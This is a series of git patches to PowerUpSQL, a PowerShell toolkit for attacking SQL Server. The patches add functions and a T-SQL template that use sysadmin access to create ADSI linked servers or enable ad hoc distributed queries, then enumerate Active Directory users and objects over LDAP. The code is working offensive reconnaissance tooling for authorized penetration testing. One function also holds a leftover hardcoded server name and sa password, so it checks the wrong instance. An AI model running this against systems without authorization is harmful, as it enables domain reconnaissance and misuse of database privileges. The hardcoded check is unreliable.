table $null = $TblProviders.Rows.Add( + $ComputerName, + $Instance, $_.ProviderName, $_.ProviderDescription, $_.ProviderParseName, @@ -6851,6 +6855,390 @@ Function Get-SQLOleDbProvder } } +# ---------------------------------- +# Get-SQLDomainUser +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLDomainUser +{ + <# + .SYNOPSIS + Using the OLE DB ADSI provider, query Active Directory for a list of domain users + via the domain logon server associated with the SQL Server. This can be + done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc + flag to switch between modes. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER LinkUsername + Domain account used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER LinkPassword + Domain account password used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER UseAdHoc + Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER Threads + Number of concurrent host threads. + .EXAMPLE + PS C:\> Get-SQLDomainUser -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc + .EXAMPLE + PS C:\> Get-SQLDomainUser -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLDomainUser -Instance SQLServer1\STANDARDDEV2014 -Verbose + .EXAMPLE + PS C:\> Get-SQLDomainUser -Instance SQLServer1\STANDARDDEV2014 -Verbose -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Get-SQLDomainUser -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate to SQL Server.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate to SQL Server.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkUsername, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account password used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkPassword, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] + [Switch]$UseAdHoc, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads. This is the number of instance to process at a time')] + [int]$Threads = 2, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + $TblDomainUsers = New-Object -TypeName System.Data.DataTable + $null = $TblDomainUsers.Columns.Add('ComputerName') + $null = $TblDomainUsers.Columns.Add('Instance') + $null = $TblDomainUsers.Columns.Add('SamAccountName') + $null = $TblDomainUsers.Columns.Add('Name') + $null = $TblDomainUsers.Columns.Add('admincount') + $null = $TblDomainUsers.Columns.Add('whencreated') + $null = $TblDomainUsers.Columns.Add('whenchanged') + $null = $TblDomainUsers.Columns.Add('AdsPath') + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + # Set instance + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Check sysadmin + $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + $DomainName = $ServerInfo.DomainName + $IsSysadmin = $ServerInfo.IsSysadmin + + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Domain:$DomainName" + } + + if($IsSysadmin -eq "No") + { + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : This command requires sysadmin privileges. Exiting." + } + return + }else{ + + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : You have sysadmin privileges." + } + } + + # Check if adsi is installed and enabled + #- get-sqloledbprovider where providername -eq ADSDSOObject + + # Determine query type + if($UseAdHoc){ + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Executing in AdHoc mode using OpenRowSet." + } + }else{ + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Executing in Link mode using OpenQuery." + } + } + + # Create ADSI Link (if link) + if(-not $UseAdHoc){ + + # ---------------------------------- + # Creaet ADSI SQL Server Link + # ---------------------------------- + + # Create Random Name + $RandomLinkName = (-join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})) + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Creating ADSI SQL Server link named $RandomLinkName." + } + + # Create Link + $QueryCreateLink = " + + -- Create SQL Server link to ADSI + IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLinkName') = 0 + EXEC master.dbo.sp_addlinkedserver @server = N'$RandomLinkName', + @srvproduct=N'Active Directory Service Interfaces', + @provider=N'ADSDSOObject', + @datasrc=N'adsdatasource' + + ELSE + SELECT 'The target SQL Server link already exists.'" + + + # Run query to create link + $QueryCreateLinkResults = Get-SQLQuery -Instance $Instance -Query $QueryCreateLink -Username $Username -Password $Password -Credential $Credential -ReturnError + + # ---------------------------------- + # Associate Login with Link + # ---------------------------------- + + # Associate Login with the link + if(($LinkUsername) -and ($LinkPassword)){ + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Associating login '$LinkUsername' with ADSI SQL Server link named $RandomLinkName." + } + + $QueryAssociateLogin = " + + EXEC sp_addlinkedsrvlogin + @rmtsrvname=N'$RandomLinkName', + @useself=N'False', + @locallogin=NULL, + @rmtuser=N'$LinkUsername', + @rmtpassword=N'$LinkPassword'" + + }else{ + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Associating current login with ADSI SQL Server link named $RandomLinkName." + } + + $QueryAssociateLogin = " + -- Current User Context + -- Notes: testing tbd, sql login (non sysadmin), sql login (sysadmin), windows login (nonsysadmin), windows login (sysadmin), - test passthru and provided creds + EXEC sp_addlinkedsrvlogin + @rmtsrvname=N'$RandomLinkName', + @useself=N'True', + @locallogin=NULL, + @rmtuser=NULL, + @rmtpassword=NULL" + } + + # Run query to associate login with link + Get-SQLQuery -Instance $Instance -Query $QueryAssociateLogin -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + } + + # Enable AdHoc Queries (if adhoc and required) + if($UseAdHoc){ + + # Get current state + $Original_State_ShowAdv = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name like 'show advanced options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object value_in_use -ExpandProperty value_in_use + $Original_State_AdHocQuery = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name like 'Ad Hoc Distributed Queries'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object value_in_use -ExpandProperty value_in_use + + # Enabled show advnaced options + if($Original_State_ShowAdv -eq 0){ + + # Execute Query + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Enabled 'Show Advanced Options'" + } + } + + if($Original_State_AdHocQuery -eq 0){ + + # Execute Query + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Enabled 'Ad Hoc Distributed Queries'" + } + } + } + + # SetUp Query + if($UseAdHoc){ + + # Define adhoc query auth + if(($LinkUsername) -and ($LinkPassword)){ + $AdHocAuth = "User ID=$LinkUsername; Password=$LinkPassword;" + }else{ + $AdHocAuth = "adsdatasource" + } + + # Define adhoc query + $Query = " + -- Run with credential in syntax option 1 - works as sa + SELECT * + FROM OPENROWSET('ADSDSOOBJECT','$AdHocAuth','SELECT samaccountname,name,admincount,whencreated,whenchanged,adspath + FROM ''LDAP://$DomainName'' + WHERE objectClass = ''User'' ')" + }else{ + + # Define link query + # $QueryTemplateLink = SELECT * FROM OpenQuery($RandomLinkName,';(&(objectCategory=Person)(objectClass=user));samaccountname,name,admincount,whencreated,whenchanged,adspath;subtree') + $Query = "SELECT * FROM OpenQuery($RandomLinkName, 'SELECT samaccountname,name,admincount,whencreated,whenchanged,AdsPath FROM ''LDAP://$DomainName'' WHERE objectClass = ''User'' AND objectCategory = ''Person'' ') AS tblADSI" + } + + # Display TSQL Query + # Write-verbose "Query: $Query" + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Grabbing list of domain users from ADS using ADSI OLEDB..." + } + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential + + # Append results for pipeline items + $TblResults | + ForEach-Object -Process { + + # Add record to master table + $null = $TblDomainUsers.Rows.Add( + $ComputerName, + $Instance, + $_.SamAccountName, + $_.Name, + $_.admincount, + $_.whencreated, + $_.whenchanged, + $_.AdsPath) + } + + # Remove ADSI Link (if Link) + if(-not $UseAdHoc){ + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Removing ADSI SQL Server link named $RandomLinkName" + } + + # Setup query to remove link + $RemoveLinkQuery = "EXEC master.dbo.sp_dropserver @server=N'$RandomLinkName', @droplogins='droplogins'" + + # Run query to remove link + $RemoveLinkQueryResults = Get-SQLQuery -Instance $Instance -Query $RemoveLinkQuery -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Restore AdHoc State (if adhoc) + if($UseAdHoc){ + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Restoring AdHoc settings if needed." + } + + # Restore ad hoc queries + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ad Hoc Distributed Queries',$Original_State_AdHocQuery;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Restore Show advanced options + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',$Original_State_ShowAdv;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + + # Return results + return $TblDomainUsers + } +} + # ---------------------------------- # Get-SQLSysadminCheck diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 840a6a0..f27ce3b 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.86.109' + ModuleVersion = '1.86.110' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -26,6 +26,7 @@ 'Get-SQLDatabaseSchema', 'Get-SQLDatabaseThreaded', 'Get-SQLDatabaseUser', + 'Get-SQLDomainUser', 'Get-SQLFuzzDatabaseName', 'Get-SQLFuzzDomainAccount', 'Get-SQLFuzzObjectName', From 0babc98270149fbf64ffaa8d3d4c20c5857a6d26 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 20 Oct 2017 16:31:44 -0500 Subject: [PATCH 129/145] Add Get-SQLDomainUser-Example.sql Add Get-SQLDomainUser-Example.sql Use OLE DB ADSI connections to grab a list of domain users via SQL Server links (OpenQuery) and adhoc queries (OpenRowSet). --- templates/tsql/Get-SQLDomainUser-Example.sql | 115 +++++++++++++++++++ 1 file changed, 115 insertions(+) create mode 100644 templates/tsql/Get-SQLDomainUser-Example.sql diff --git a/templates/tsql/Get-SQLDomainUser-Example.sql b/templates/tsql/Get-SQLDomainUser-Example.sql new file mode 100644 index 0000000..b1f7d4c --- /dev/null +++ b/templates/tsql/Get-SQLDomainUser-Example.sql @@ -0,0 +1,115 @@ + +-- Script: Get-SQLDomainUser-Example.sql +-- Description: Use OLE DB ADSI connections to grab a list of domain users via SQL Server links (OpenQuery) and adhoc queries (OpenRowSet). +-- Author: Scott Sutherland, NetSPI 2017 + + +-------------------------------------- +-- Create SQL Server link to ADSI +-------------------------------------- +IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'ADSI') = 0 + EXEC master.dbo.sp_addlinkedserver @server = N'ADSI', + @srvproduct=N'Active Directory Service Interfaces', + @provider=N'ADSDSOObject', + @datasrc=N'adsdatasource' +ELSE + SELECT 'The target SQL Server link already exists.' +GO + +-- Verify the link was created +SELECT * FROM master..sysservers WHERE providername = 'ADSDSOObject' + +-- Configure ADSI link to Authenticate as current user +EXEC sp_addlinkedsrvlogin + @rmtsrvname=N'ADSI', + @useself=N'True', + @locallogin=NULL, + @rmtuser=NULL, + @rmtpassword=NULL +GO + + +-------------------------------------- +-- Create SQL Server link to ADSI2 +-------------------------------------- +IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'ADSI2') = 0 + EXEC master.dbo.sp_addlinkedserver @server = N'ADSI2', + @srvproduct=N'Active Directory Service Interfaces', + @provider=N'ADSDSOObject', + @datasrc=N'adsdatasource' +ELSE + SELECT 'The target SQL Server link already exists.' + -- EXEC master.dbo.sp_dropserver @server=N'ADSI', @droplogins='droplogins' + +GO + +-- Verify the link was created +SELECT * FROM master..sysservers WHERE providername = 'ADSDSOObject' + +-- Configure the ADSI2 link to Authenticate as provided domain user +EXEC sp_addlinkedsrvlogin +@rmtsrvname=N'ADSI2', +@useself=N'False', +@locallogin=NULL, +@rmtuser=N'Domain\User', +@rmtpassword=N'Password123!' +GO + + +-------------------------------------- +-- Run basic LDAP queries - OpenQuery +-------------------------------------- + +-- sa as current failed, but sysadmin domain user works +SELECT * FROM OpenQuery(ADSI,';(&(objectCategory=Person)(objectClass=user));samaccountname,name,admincount,whencreated,whenchanged,adspath;subtree') + +-- provided domain user works +SELECT * FROM OpenQuery(ADSI2,';(&(objectCategory=Person)(objectClass=user));samaccountname,name,admincount,whencreated,whenchanged,adspath;subtree') + +-- sa as current failed, but sysadmin domain user works +SELECT * FROM OpenQuery(ADSI, 'SELECT samaccountname,name,admincount,whencreated,whenchanged,adspath FROM ''LDAP://domain'' WHERE objectClass = ''User'' ') AS tblADSI + +-- provided domain user works +SELECT * FROM OpenQuery(ADSI2, 'SELECT samaccountname,name,admincount,whencreated,whenchanged,adspath FROM ''LDAP://domain'' WHERE objectClass = ''User'' ') AS tblADSI + + +-------------------------------------- +-- Remove links and login mappings +-------------------------------------- +EXEC master.dbo.sp_dropserver @server=N'ADSI', @droplogins='droplogins' +EXEC master.dbo.sp_dropserver @server=N'ADSI2', @droplogins='droplogins' + + +-------------------------------------- +-- Enabled adhoc queries on the server +-------------------------------------- +EXEC master.sys.sp_configure 'Show Advanced Options',1 +reconfigure +go + +EXEC master.sys.sp_configure 'Ad Hoc Distributed Queries',1 +reconfigure +go + + +-------------------------------------- +-- Run basic LDAP queries - OpenRowSet +-------------------------------------- +-- Need to confirm which scenario run as service account. + +-- Run without credential in syntax option 1 - works as sa +SELECT * +FROM OPENROWSET('ADSDSOOBJECT','adsdatasource','SELECT samaccountname,name,admincount,whencreated,whenchanged,adspath +FROM ''LDAP://domain'' +WHERE objectClass = ''User'' ') + +-- Run with credential in syntax option 1 - works as sa +SELECT * +FROM OPENROWSET('ADSDSOOBJECT','User ID=domain\user; Password=Password123!;','SELECT samaccountname,name,admincount,whencreated,whenchanged,adspath +FROM ''LDAP://domain'' +WHERE objectClass = ''User'' ') + +-- Run with credential in synatx option 2 - works as sa login +SELECT * +FROM OPENROWSET('ADSDSOOBJECT','User ID=domain\user; Password=Password123!;', +';(&(objectCategory=Person)(objectClass=user));samaccountname,name,admincount,whencreated,whenchanged,adspath;subtree') From aec61e4838b16b6da38b3341be126af40853a559 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 20 Oct 2017 16:32:24 -0500 Subject: [PATCH 130/145] Update PowerUpSQLTests.ps1 add place holder for Get-SQLDomainUser. --- tests/PowerUpSQLTests.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/PowerUpSQLTests.ps1 b/tests/PowerUpSQLTests.ps1 index 81efc25..1f3e6f8 100644 --- a/tests/PowerUpSQLTests.ps1 +++ b/tests/PowerUpSQLTests.ps1 @@ -13,6 +13,7 @@ ###################################################### <# +Get-SQLDomainUser Get-SQLOleDbProvder Get-SQLInstanceDomain Get-SQLInstanceFile From 5f396cc721b65de135571ed7fb65ac0261422840 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 22 Oct 2017 20:59:39 -0500 Subject: [PATCH 131/145] Update verbose error control Update verbose error control --- PowerUpSQL.ps1 | 10 +++++++--- PowerUpSQL.psd1 | 2 +- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 74a40eb..cb36b0a 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.86.110 + Version: 1.86.111 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -22666,7 +22666,9 @@ function Invoke-Parallel } Write-Debug -Message "`$ScriptBlock: $($ScriptBlock | Out-String)" - Write-Verbose -Message 'Creating runspace pool and session states' + If (-not($SuppressVerbose)){ + Write-Verbose -Message 'Creating runspace pool and session states' + } #If specified, add variables and modules/snapins to session state @@ -22869,7 +22871,9 @@ function Invoke-Parallel #Close the runspace pool, unless we specified no close on timeout and something timed out if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($NoCloseOnTimeout -eq $false) ) ) { - Write-Verbose -Message 'Closing the runspace pool' + If (-not($SuppressVerbose)){ + Write-Verbose -Message 'Closing the runspace pool' + } $runspacepool.close() } diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index f27ce3b..6535795 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.86.110' + ModuleVersion = '1.86.111' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From e6315ef7c6a91a8e066ea9dd3c119f3f674a7711 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 22 Oct 2017 21:24:26 -0500 Subject: [PATCH 132/145] Add Get-SQLDomainObject Added Get-SQLDomainObject to support generic ldap queries. --- PowerUpSQL.ps1 | 375 +++++++++++++++++++++++++++++++++++++++++++++++- PowerUpSQL.psd1 | 3 +- 2 files changed, 375 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index cb36b0a..9e676f4 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.86.111 + Version: 1.87.111 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -6855,6 +6855,377 @@ Function Get-SQLOleDbProvder } } + +# ---------------------------------- +# Get-SQLDomainObject +# ---------------------------------- +# Author: Scott Sutherland +# Reference: LDAP templates are based on MSDN and PowerView by Will Schroeder (@HarmJ0y). +Function Get-SQLDomainObject +{ + <# + .SYNOPSIS + Using the OLE DB ADSI provider, query Active Directory for a list of domain objects + via the domain logon server associated with the SQL Server. This can be + done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc + flag to switch between modes. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER LinkUsername + Domain account used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER LinkPassword + Domain account password used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER UseAdHoc + Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER Threads + Number of concurrent host threads. + .PARAMETER LdapPath + Ldap path. + .PARAMETER LdapFilter + LDAP filter. Example: -LdapFilter ";(&(objectCategory=Person)(objectClass=user))" + .PARAMETER LdapFields + Ldap fields. Example -LdapFields 'samaccountname,name,admincount,whencreated,whenchanged,adspath;' + .EXAMPLE + PS C:\> Get-SQLDomainObject -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LdapFilter "(&(objectCategory=Person)(objectClass=user))" -LdapFields "samaccountname,name,admincount,whencreated,whenchanged,adspath" -LdapPath "domain.local" + .EXAMPLE + PS C:\> Get-SQLDomainObject -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLDomainObject -Instance SQLServer1\STANDARDDEV2014 -Verbose + .EXAMPLE + PS C:\> Get-SQLDomainObject -Instance SQLServer1\STANDARDDEV2014 -Verbose -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Get-SQLDomainObject -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate to SQL Server.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate to SQL Server.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkUsername, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account password used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkPassword, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] + [Switch]$UseAdHoc, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads. This is the number of instance to process at a time')] + [int]$Threads = 2, + + [Parameter(Mandatory = $false, + HelpMessage = 'Ldap path. domain/dc=domain,dc=local')] + [string]$LdapPath, + + [Parameter(Mandatory = $false, + HelpMessage = 'Ldap filter. Example: (&(objectCategory=Person)(objectClass=user))')] + [string]$LdapFilter, + + [Parameter(Mandatory = $false, + HelpMessage = 'Ldap fields. Example: samaccountname,name,admincount,whencreated,whenchanged,adspath')] + [string]$LdapFields, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + $TblDomainObjects = New-Object -TypeName System.Data.DataTable + } + + Process + { + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Check sysadmin + $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + $DomainName = $ServerInfo.DomainName + $IsSysadmin = $ServerInfo.IsSysadmin + $SQLServerMajorVersion = $ServerInfo.SQLServerMajorVersion + $SQLServerEdition = $ServerInfo.SQLServerEdition + $SQLServerVersionNumber = $ServerInfo.SQLServerVersionNumber + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Domain: $DomainName" + Write-Verbose -Message "$Instance : Version: SQL Server $SQLServerMajorVersion $SQLServerEdition ($SQLServerVersionNumber)" + } + + if($IsSysadmin -eq "No") + { + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : This command requires sysadmin privileges. Exiting." + } + return + }else{ + + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : You have sysadmin privileges." + } + } + + # Setup the LDAP Path + if(-not $LdapPath ){ + $LdapPath = $DomainName + } + + # Check if adsi is installed and can run in process + $CheckEnabled = Get-SQLOleDbProvder -Instance NETSPI-419-SSU\SQLSERVER2017 -Username sa -Password 'abc$123!' -SuppressVerbose | Where ProviderName -like "ADsDSOObject" | Select-Object AllowInProcess -ExpandProperty AllowInProcess + if ($CheckEnabled -ne 1){ + Write-Verbose -Message "$Instance : The ADsDSOObject provider is not allowed to run in process. Stopping operation." + return + }else{ + Write-Verbose -Message "$Instance : The ADsDSOObject provider is allowed to run in process." + } + + # Determine query type + if($UseAdHoc){ + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Executing in AdHoc mode using OpenRowSet." + } + }else{ + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Executing in Link mode using OpenQuery." + } + } + + # Create ADSI Link (if link) + if(-not $UseAdHoc){ + + # Create Random Name + $RandomLinkName = (-join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})) + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Creating ADSI SQL Server link named $RandomLinkName." + } + + # Create Link + $QueryCreateLink = " + + -- Create SQL Server link to ADSI + IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLinkName') = 0 + EXEC master.dbo.sp_addlinkedserver @server = N'$RandomLinkName', + @srvproduct=N'Active Directory Service Interfaces', + @provider=N'ADSDSOObject', + @datasrc=N'adsdatasource' + + ELSE + SELECT 'The target SQL Server link already exists.'" + + # Run query to create link + $QueryCreateLinkResults = Get-SQLQuery -Instance $Instance -Query $QueryCreateLink -Username $Username -Password $Password -Credential $Credential -ReturnError + + # Associate login with the link + if(($LinkUsername) -and ($LinkPassword)){ + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Associating login '$LinkUsername' with ADSI SQL Server link named $RandomLinkName." + } + + $QueryAssociateLogin = " + + EXEC sp_addlinkedsrvlogin + @rmtsrvname=N'$RandomLinkName', + @useself=N'False', + @locallogin=NULL, + @rmtuser=N'$LinkUsername', + @rmtpassword=N'$LinkPassword'" + + }else{ + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Associating current login with ADSI SQL Server link named $RandomLinkName." + } + + $QueryAssociateLogin = " + -- Current User Context + -- Notes: testing tbd, sql login (non sysadmin), sql login (sysadmin), windows login (nonsysadmin), windows login (sysadmin), - test passthru and provided creds + EXEC sp_addlinkedsrvlogin + @rmtsrvname=N'$RandomLinkName', + @useself=N'True', + @locallogin=NULL, + @rmtuser=NULL, + @rmtpassword=NULL" + } + + # Run query to associate login with link + Get-SQLQuery -Instance $Instance -Query $QueryAssociateLogin -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + } + + # Enable AdHoc Queries (if adhoc and required) + if($UseAdHoc){ + + # Get current state + $Original_State_ShowAdv = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name like 'show advanced options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object value_in_use -ExpandProperty value_in_use + $Original_State_AdHocQuery = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name like 'Ad 